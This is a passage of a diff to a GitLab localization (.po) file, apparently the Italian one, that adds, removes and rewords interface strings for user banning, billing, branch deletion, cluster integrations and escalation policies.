+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "Apr"
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Impossibile trovare l'HEAD commit per questa branch"
@@ -5298,6 +5402,9 @@ msgstr "Elimina tutte le branches che sono state mergiate in '%{default_branch}'
msgid "Branches|Delete branch"
msgstr "Elimina Branch"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Elimina branch mergiate"
@@ -5307,6 +5414,12 @@ msgstr "Elimina la branch protetta"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Eliminare la branch protetta %{branch_name}?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "Eliminando la branch %{branch_name} è un'operazione irreversibile. Sicuro di voler procedere?"
@@ -5328,12 +5441,18 @@ msgstr "Nessuna branch da mostrare"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Una volta confermato e premuto %{delete_protected_branch} non sarà possibile ripristinare allo stato precedente."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr "La branch predefinita non può esser eliminata"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Questa branch non è stata mergiata in %{default_branch}."
@@ -5379,6 +5501,18 @@ msgstr "Per confermare, scrivi %{branch_name_confirmation}:"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Stai per eliminare la branch protetta (%{branch_name}) in maniera permanente."
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificato CA"
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Tipo di macchina"
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr "Commit"
msgid "CommitMessage|Add %{file_name}"
msgstr "Aggiungi %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Creare un token di accesso sul tuo account per eseguire pull o push tramite %{protocol}"
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Crea nuovo..."
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "Errore durante l'attivazione/disattivazione della sottoscrizione per l'iscrizione"
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
